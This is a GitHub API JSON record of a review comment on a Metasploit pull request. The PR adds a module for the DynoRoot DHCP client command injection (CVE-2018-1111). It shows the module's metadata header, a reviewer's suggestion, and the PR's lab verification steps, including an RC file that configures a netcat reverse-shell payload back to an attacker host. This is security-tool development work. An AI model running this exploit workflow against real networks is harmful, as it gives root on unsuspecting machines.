{"action":"created","comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/189446050","pull_request_review_id":121630683,"id":189446050,"diff_hunk":"@@ -0,0 +1,67 @@\n+##\n+# This module requires Metasploit: https://metasploit.com/download\n+# Current source: https://github.com/rapid7/metasploit-framework\n+##\n+\n+class MetasploitModule < Msf::Exploit::Remote\n+  Rank = ExcellentRanking\n+\n+  include Msf::Exploit::Remote::DHCPServer\n+\n+  def initialize(info = {})\n+    super(update_info(info,\n+      'Name'           => 'DHCP Client Command Injection (DynoRoot)',\n+      'Description'    => %q{\n+        This module exploits the DynoRoot vulnerability, a flaw in how the\n+         NetworkManager integration script included in the DHCP client in\n+         Red Hat Enterprise Linux 6 and 7, Fedora 28, and earlier\n+         processes DHCP options. A malicious DHCP server, or an attacker on\n+         the local network able to spoof DHCP responses, could use this flaw\n+         to execute arbitrary commands with root privileges on systems using\n+         NetworkManager and configured to obtain network configuration using\n+         the DHCP protocol.\n+      },\n+      'Author'         =>\n+        [\n+          'Felix Wilhelm', # Vulnerability discovery\n+          'Kevin Kirsche <d3c3pt10n[AT]deceiveyour.team>' # Metasploit module\n+        ],\n+      'License'        => MSF_LICENSE,\n+      'Platform'       => ['unix'],\n+      'Arch'           => ARCH_CMD,","path":"modules/exploits/unix/dhcp/rhel_dhcp_client_command_injection.rb","position":31,"original_position":31,"commit_id":"f2549a1a8381c49e00646bff7b1bdd9149238b13","original_commit_id":"f2549a1a8381c49e00646bff7b1bdd9149238b13","user":{"login":"bcoles","id":434827,"avatar_url":"https://avatars2.githubusercontent.com/u/434827?v=4","gravatar_id":"","url":"https://api.github.com/users/bcoles","html_url":"https://github.com/bcoles","followers_url":"https://api.github.com/users/bcoles/followers","following_url":"https://api.github.com/users/bcoles/following{/other_user}","gists_url":"https://api.github.com/users/bcoles/gists{/gist_id}","starred_url":"https://api.github.com/users/bcoles/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bcoles/subscriptions","organizations_url":"https://api.github.com/users/bcoles/orgs","repos_url":"https://api.github.com/users/bcoles/repos","events_url":"https://api.github.com/users/bcoles/events{/privacy}","received_events_url":"https://api.github.com/users/bcoles/received_events","type":"User","site_admin":false},"body":"You can add a `'Privileged' => true,` key to this hash somewhere, to show off that your exploit gives remote r00t.\r\n","created_at":"2018-05-19T22:11:00Z","updated_at":"2018-05-19T22:11:00Z","html_url":"https://github.com/rapid7/metasploit-framework/pull/10059#discussion_r189446050","pull_request_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10059","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments/189446050"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/10059#discussion_r189446050"},"pull_request":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10059"}}},"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10059","id":189081409,"html_url":"https://github.com/rapid7/metasploit-framework/pull/10059","diff_url":"https://github.com/rapid7/metasploit-framework/pull/10059.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/10059.patch","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10059","number":10059,"state":"open","locked":false,"title":"Add CVE-2018-1111 exploit","user":{"login":"kkirsche","id":947110,"avatar_url":"https://avatars1.githubusercontent.com/u/947110?v=4","gravatar_id":"","url":"https://api.github.com/users/kkirsche","html_url":"https://github.com/kkirsche","followers_url":"https://api.github.com/users/kkirsche/followers","following_url":"https://api.github.com/users/kkirsche/following{/other_user}","gists_url":"https://api.github.com/users/kkirsche/gists{/gist_id}","starred_url":"https://api.github.com/users/kkirsche/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kkirsche/subscriptions","organizations_url":"https://api.github.com/users/kkirsche/orgs","repos_url":"https://api.github.com/users/kkirsche/repos","events_url":"https://api.github.com/users/kkirsche/events{/privacy}","received_events_url":"https://api.github.com/users/kkirsche/received_events","type":"User","site_admin":false},"body":"Tell us what this change does. If you're fixing a bug, please mention\r\nthe github issue number.\r\n\r\n## Verification\r\n\r\nList the steps needed to make sure this thing works\r\n\r\n- [ ] Setup CentOS virtual machine and Kali virtual machine\r\n- [ ] Ensure proper versions are in use. This was tested on `CentOS Linux release 7.4.1708 (Core)` with NetworkManager version `1.8.0-11.el7_4`\r\n- [ ] Create isolated custom network (e.g. 192.168.41.0/24)\r\n- [ ] Disable DHCP server on custom network for easier verification \r\n- [ ] Start `msfconsole` on Kali Linux\r\n- [ ] `use exploit/unix/dhcp/rhel_dhcp_client_command_injectioni`\r\n- [ ] Configure `SRVHOST` and `NETMASK` required variables\r\n- [ ] Configure `PAYLOAD` and supporting options\r\n- [ ] Start the DHCP server\r\n- [ ] On CentOS 7 machine, request a new DHCP address. Assuming primary interface is `ens33`, you can use: `clear && nmcli conn down id \"ens33\" && nmcli conn up id \"ens33\" && ip addr show`\r\n- [ ] This should request a new DHCP from your server (if other DHCP servers exist, note that then this becomes a race condition often requiring DHCP NAK's to get your DHCP to win)\r\n\r\nNot included :(\r\n- [ ] **Document** the thing and how it works ([Example](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/post/multi/gather/aws_keys.md))\r\n\r\nValidated using RC File:\r\n\r\n```\r\nuse exploit/unix/dhcp/rhel_dhcp_client_command_injection\r\nset SRVHOST 192.168.41.129\r\nset NETMASK 255.255.255.0\r\nset PAYLOAD cmd/unix/reverse_netcat\r\nset LHOST 192.168.41.2\r\nset LPORT 1337\r\nexploit -j -z\r\n```","created_at":"2018-05-18T16:53:36Z","updated_at":"2018-05-19T22:11:00Z","closed_at":null,"merged_at":null,"merge_commit_sha":"6828fb89b714735fd78b81f1c5b6b7014939b450","assignee":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars2.githubusercontent.com/u/4551878?v=4","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"assignees":[{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars2.githubusercontent.com/u/4551878?v=4","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":103436014,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false},{"id":466360142,"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/needs-docs","name":"needs-docs","color":"bfd4f2","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10059/commits","review_comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10059/comments","review_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10059/comments","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/f2549a1a8381c49e00646bff7b1bdd9149238b13","head":{"label":"kkirsche:cve-2018-1111","ref":"cve-2018-1111","sha":"f2549a1a8381c49e00646bff7b1bdd9149238b13","user":{"login":"kkirsche","id":947110,"avatar_url":"https://avatars1.githubusercontent.com/u/947110?v=4","gravatar_id":"","url":"https://api.github.com/users/kkirsche","html_url":"https://github.com/kkirsche","followers_url":"https://api.github.com/users/kkirsche/followers","following_url":"https://api.github.com/users/kkirsche/following{/other_user}","gists_url":"https://api.github.com/users/kkirsche/gists{/gist_id}","starred_url":"https://api.github.com/users/kkirsche/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kkirsche/subscriptions","organizations_url":"https://api.github.com/users/kkirsche/orgs","repos_url":"https://api.github.com/users/kkirsche/repos","events_url":"https://api.github.com/users/kkirsche/events{/privacy}","received_events_url":"https://api.github.com/users/kkirsche/received_events","type":"User","site_admin":false},"repo":{"id":40660430,"name":"metasploit-framework","full_name":"kkirsche/metasploit-framework","owner":{"login":"kkirsche","id":947110,"avatar_url":"https://avatars1.githubusercontent.com/u/947110?v=4","gravatar_id":"","url":"https://api.github.com/users/kkirsche","html_url":"https://github.com/kkirsche","followers_url":"https://api.github.com/users/kkirsche/followers","following_url":"https://api.github.com/users/kkirsche/following{/other_user}","gists_url":"https://api.github.com/users/kkirsche/gists{/gist_id}","starred_url":"https://api.github.com/users/kkirsche/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kkirsche/subscriptions","organizations_url":"https://api.github.com/users/kkirsche/orgs","repos_url":"https://api.github.com/users/kkirsche/repos","events_url":"https://api.github.com/users/kkirsche/events{/privacy}","received_events_url":"https://api.github.com/users/kkirsche/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/kkirsche/metasploit-framework","description":"Metasploit Framework","fork":true,"url":"https://api.github.com/repos/kkirsche/metasploit-framework","forks_url":"https://api.github.com/repos/kkirsche/metasploit-framework/forks","keys_url":"https://api.github.com/repos/kkirsche/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/kkirsche/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/kkirsche/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/kkirsche/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/kkirsche/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/kkirsche/metasploit-framework/events","assignees_url":"https://api.github.com/repos/kkirsche/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/kkirsche/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/kkirsche/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/kkirsche/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/kkirsche/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/kkirsche/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/kkirsche/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/kkirsche/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/kkirsche/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/kkirsche/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/kkirsche/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/kkirsche/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/kkirsche/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/kkirsche/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/kkirsche/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/kkirsche/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/kkirsche/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/kkirsche/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/kkirsche/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/kkirsche/metasploit-framework/merges","archive_url":"https://api.github.com/repos/kkirsche/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/kkirsche/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/kkirsche/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/kkirsche/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/kkirsche/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/kkirsche/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/kkirsche/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/kkirsche/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/kkirsche/metasploit-framework/deployments","created_at":"2015-08-13T13:32:49Z","updated_at":"2015-08-13T13:33:12Z","pushed_at":"2018-05-19T13:53:11Z","git_url":"git://github.com/kkirsche/metasploit-framework.git","ssh_url":"git@github.com:kkirsche/metasploit-framework.git","clone_url":"https://github.com/kkirsche/metasploit-framework.git","svn_url":"https://github.com/kkirsche/metasploit-framework","homepage":"http://www.metasploit.com/","size":339768,"stargazers_count":0,"watchers_count":0,"language":"Ruby","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"rapid7:master","ref":"master","sha":"7af7587519c027a7c05ea26d1bb84d706f1379b2","user":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"repo":{"id":2293158,"name":"metasploit-framework","full_name":"rapid7/metasploit-framework","owner":{"login":"rapid7","id":1013671,"avatar_url":"https://avatars1.githubusercontent.com/u/1013671?v=4","gravatar_id":"","url":"https://api.github.com/users/rapid7","html_url":"https://github.com/rapid7","followers_url":"https://api.github.com/users/rapid7/followers","following_url":"https://api.github.com/users/rapid7/following{/other_user}","gists_url":"https://api.github.com/users/rapid7/gists{/gist_id}","starred_url":"https://api.github.com/users/rapid7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rapid7/subscriptions","organizations_url":"https://api.github.com/users/rapid7/orgs","repos_url":"https://api.github.com/users/rapid7/repos","events_url":"https://api.github.com/users/rapid7/events{/privacy}","received_events_url":"https://api.github.com/users/rapid7/received_events","type":"Organization","site_admin":false},"private":false,"html_url":"https://github.com/rapid7/metasploit-framework","description":"Metasploit Framework","fork":false,"url":"https://api.github.com/repos/rapid7/metasploit-framework","forks_url":"https://api.github.com/repos/rapid7/metasploit-framework/forks","keys_url":"https://api.github.com/repos/rapid7/metasploit-framework/keys{/key_id}","collaborators_url":"https://api.github.com/repos/rapid7/metasploit-framework/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/rapid7/metasploit-framework/teams","hooks_url":"https://api.github.com/repos/rapid7/metasploit-framework/hooks","issue_events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/events{/number}","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/events","assignees_url":"https://api.github.com/repos/rapid7/metasploit-framework/assignees{/user}","branches_url":"https://api.github.com/repos/rapid7/metasploit-framework/branches{/branch}","tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/tags","blobs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/refs{/sha}","trees_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/trees{/sha}","statuses_url":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/{sha}","languages_url":"https://api.github.com/repos/rapid7/metasploit-framework/languages","stargazers_url":"https://api.github.com/repos/rapid7/metasploit-framework/stargazers","contributors_url":"https://api.github.com/repos/rapid7/metasploit-framework/contributors","subscribers_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscribers","subscription_url":"https://api.github.com/repos/rapid7/metasploit-framework/subscription","commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/commits{/sha}","git_commits_url":"https://api.github.com/repos/rapid7/metasploit-framework/git/commits{/sha}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/comments{/number}","issue_comment_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments{/number}","contents_url":"https://api.github.com/repos/rapid7/metasploit-framework/contents/{+path}","compare_url":"https://api.github.com/repos/rapid7/metasploit-framework/compare/{base}...{head}","merges_url":"https://api.github.com/repos/rapid7/metasploit-framework/merges","archive_url":"https://api.github.com/repos/rapid7/metasploit-framework/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/rapid7/metasploit-framework/downloads","issues_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues{/number}","pulls_url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls{/number}","milestones_url":"https://api.github.com/repos/rapid7/metasploit-framework/milestones{/number}","notifications_url":"https://api.github.com/repos/rapid7/metasploit-framework/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/labels{/name}","releases_url":"https://api.github.com/repos/rapid7/metasploit-framework/releases{/id}","deployments_url":"https://api.github.com/repos/rapid7/metasploit-framework/deployments","created_at":"2011-08-30T06:13:20Z","updated_at":"2018-05-19T21:52:53Z","pushed_at":"2018-05-19T16:50:59Z","git_url":"git://github.com/rapid7/metasploit-framework.git","ssh_url":"git@github.com:rapid7/metasploit-framework.git","clone_url":"https://github.com/rapid7/metasploit-framework.git","svn_url":"https://github.com/rapid7/metasploit-framework","homepage":"https://www.metasploit.com/","size":339042,"stargazers_count":12364,"watchers_count":12364,"language":"Ruby","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":6816,"mirror_url":null,"archived":false,"open_issues_count":531,"license":{"key":"other","name":"Other","spdx_id":null,"url":null},"forks":6816,"open_issues":531,"watchers":12364,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10059"},"html":{"href":"https://github.com/rapid7/metasploit-framework/pull/10059"},"issue":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10059"},"comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10059/comments"},"review_comments":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10059/comments"},"review_comment":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10059/commits"},"statuses":{"href":"https://api.github.com/repos/rapid7/metasploit-framework/statuses/f2549a1a8381c49e00646bff7b1bdd9149238b13"}},"author_association":"CONTRIBUTOR"}}
{"actor":{"display_login":"bcoles"}}